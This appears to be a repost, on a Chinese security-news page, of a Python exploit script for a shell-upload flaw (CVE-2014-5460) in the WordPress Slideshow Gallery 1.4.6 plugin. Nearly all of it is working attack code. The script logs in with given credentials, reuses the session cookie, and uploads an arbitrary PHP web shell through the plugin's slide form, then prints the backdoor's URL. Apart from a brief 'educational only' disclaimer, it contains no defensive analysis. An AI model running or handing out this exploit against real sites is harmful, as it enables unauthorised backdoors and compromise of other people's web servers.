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WEB应用漏洞: - Wordpress Slideshow Gallery 1.4.6 - Shell Upload (Python Exploit)

2014-10-08 06:05
#!/usr/bin/env python
#
# WordPress Slideshow Gallery 1.4.6 Shell Upload Exploit
#
# WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability (CVE-2014-5460)
#
# Vulnerability discovered by: Jesus Ramirez Pichardo - http://whitexploit.blogspot.mx/
#
# Exploit written by: Claudio Viviani - info@homelab.it - http://www.homelab.it
#
#
# Disclaimer:
#
# This exploit is intended for educational purposes only and the author
# can not be held liable for any kind of damages done whatsoever to your machine,
# or damages caused by some other,creative application of this exploit.
# In any case you disagree with the above statement,stop here.
#
#
# Requirements:
#
# 1) Enabled user management slide
# 2) python's httplib2 lib
# Installation: pip install httplib2
#
# Usage:
#
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost -u user -p pwd -f sh33l.php
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost/wordpress -u user -p pwd -f sh33l.php
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost:80|443 -u user -p pwd -f sh33l.php
#
# Backdoor Location:
#
# http://localhost/wp-content/uploads/slideshow-gallery/sh33l.php
#
# Tested on Wordpress 3.6, 3.7, 3.8, 3.9, 4.0
#

# http connection
import urllib, httplib2, sys, mimetypes
# Args management
import optparse
# Error management
import socket, httplib, sys
# file management
import os, os.path

# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url

# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file
# Get file's mimetype
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

# Create multipart header
def create_body_sh3ll_upl04d(payloadname):

getfields = dict()
getfields['Slide[id]'] = ''
getfields['Slide[order]'] = ''
getfields['Slide[title]'] = 'h0m3l4b1t'
getfields['Slide[description]'] = 'h0m3l4b1t'
getfields['Slide[showinfo]'] = 'both'
getfields['Slide[iopacity]'] = '70'
getfields['Slide[type]'] = 'file'
getfields['Slide[image_url]'] = ''
getfields['Slide[uselink]'] = 'N'
getfields['Slide[link]'] = ''
getfields['Slide[linktarget]'] = 'self'
getfields['Slide[title]'] = 'h0m3l4b1t'

payloadcontent = open(payloadname).read()

LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'

L = []
for (key, value) in getfields.items():
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)

L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('image_file', payloadname))
L.append('Content-Type: %s' % get_content_type(payloadname))
L.append('')
L.append(payloadcontent)
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
return body

banner = """

$$$$$$\ $$\ $$\ $$\ $$\
$$ __$$\ $$ |\__| $$ | $$ |
$$ / \__|$$ |$$\ $$$$$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$\
\$$$$$$\ $$ |$$ |$$ __$$ |$$ __$$\ $$ _____|$$ __$$\ $$ __$$\ $$ | $$ | $$ |
\____$$\ $$ |$$ |$$ / $$ |$$$$$$$$ |\$$$$$$\ $$ | $$ |$$ / $$ |$$ | $$ | $$ |
$$\ $$ |$$ |$$ |$$ | $$ |$$ ____| \____$$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ |
\$$$$$$ |$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$$$$$$ |$$ | $$ |\$$$$$$ |\$$$$$\$$$$ |
\______/ \__|\__| \_______| \_______|\_______/ \__| \__| \______/ \_____\____/



$$$$$$\ $$\ $$\ $$\ $$\ $$\ $$$$$$\
$$ __$$\ $$ |$$ | $$$$ |$$ | $$ | $$ __$$\
$$ / \__| $$$$$$\ $$ |$$ | $$$$$$\ $$$$$$\ $$\ $$\ \_$$ |$$ | $$ | $$ / \__|
$$ |$$$$\ \____$$\ $$ |$$ |$$ __$$\ $$ __$$\ $$ | $$ | $$ |$$$$$$$$ | $$$$$$$\
$$ |\_$$ | $$$$$$$ |$$ |$$ |$$$$$$$$ |$$ | \__|$$ | $$ | $$ |\_____$$ | $$ __$$\
$$ | $$ |$$ __$$ |$$ |$$ |$$ ____|$$ | $$ | $$ | $$ | $$ | $$ / $$ |
\$$$$$$ |\$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ | \$$$$$$$ | $$$$$$\ $$\ $$ |$$\ $$$$$$ |
\______/ \_______|\__|\__| \_______|\__| \____$$ | \______|\__|\__|\__|\______/
$$\ $$ |
\$$$$$$ |
\______/

W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln.

=============================================
- Release date: 2014-08-28
- Discovered by: Jesus Ramirez Pichardo
- CVE: 2014-5460
=============================================

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL -u USER -p PASSWORD -f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('-f', '--file', action="store",
help="Insert file name, ex: shell.php",
)
commandList.add_option('-u', '--user', action="store",
help="Insert Username",
)
commandList.add_option('-p', '--password', action="store",
help="Insert Password",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.user or not options.password or not options.file:
print(banner)
commandList.print_help()
sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
username = options.user
pwd = options.password
timeout = options.timeout

print(banner)

url_login_wp = host+'/wp-login.php'
url_admin_slideshow = host+'/wp-admin/admin.php?page=slideshow-slides&method=save'

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

http = httplib2.Http(disable_ssl_certificate_validation=True, timeout=timeout)

# Wordpress login POST Data
body = { 'log':username,
'pwd':pwd,
'wp-submit':'Login',
'testcookie':'1' }
# Wordpress login headers with Cookie
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Content-type': 'application/x-www-form-urlencoded',
'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }
try:
response, content = http.request(url_login_wp, 'POST', headers=headers, body=urllib.urlencode(body))
if len(response['set-cookie'].split(" ")) < 4:
#if 'httponly' in response['set-cookie'].split(" ")[-1]:
print '[X] Wrong username or password'
sys.exit()
else:
print '[+] Username & password ACCEPTED!\n'

# Create cookie for admin panel
if 'secure' in response['set-cookie']:
c00k13 = response['set-cookie'].split(" ")[6]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[10]
else:
c00k13 = response['set-cookie'].split(" ")[5]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[8]

bodyupload = create_body_sh3ll_upl04d(payloadname)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Cookie': c00k13,
'content-type': content_type,
'content-length': str(len(bodyupload)) }
response, content = http.request(url_admin_slideshow, 'POST', headers=headers, body=bodyupload)

if 'admin.php?page=slideshow-slides&Galleryupdated=true&Gallerymessage=Slide+has+been+saved' in content:
print '[!] Shell Uploaded!'
print '[+] Check url: '+host+'/wp-content/uploads/slideshow-gallery/'+payloadname.lower()+' (lowercase!!!!)'
else:
print '[X] The user can not upload files or plugin fixed :((('

except socket.timeout:
print('[X] Connection Timeout')
sys.exit(1)
except socket.error:
print('[X] Connection Refused')
sys.exit(1)
except httplib.ResponseNotReady:
print('[X] Server Not Responding')
sys.exit(1)
except httplib2.ServerNotFoundError:
print('[X] Server Not Found')
sys.exit(1)
except httplib2.HttpLib2Error:
print('[X] Connection Error!!')
sys.exit(1)



知识来源: www.exploit-db.com/exploits/34681

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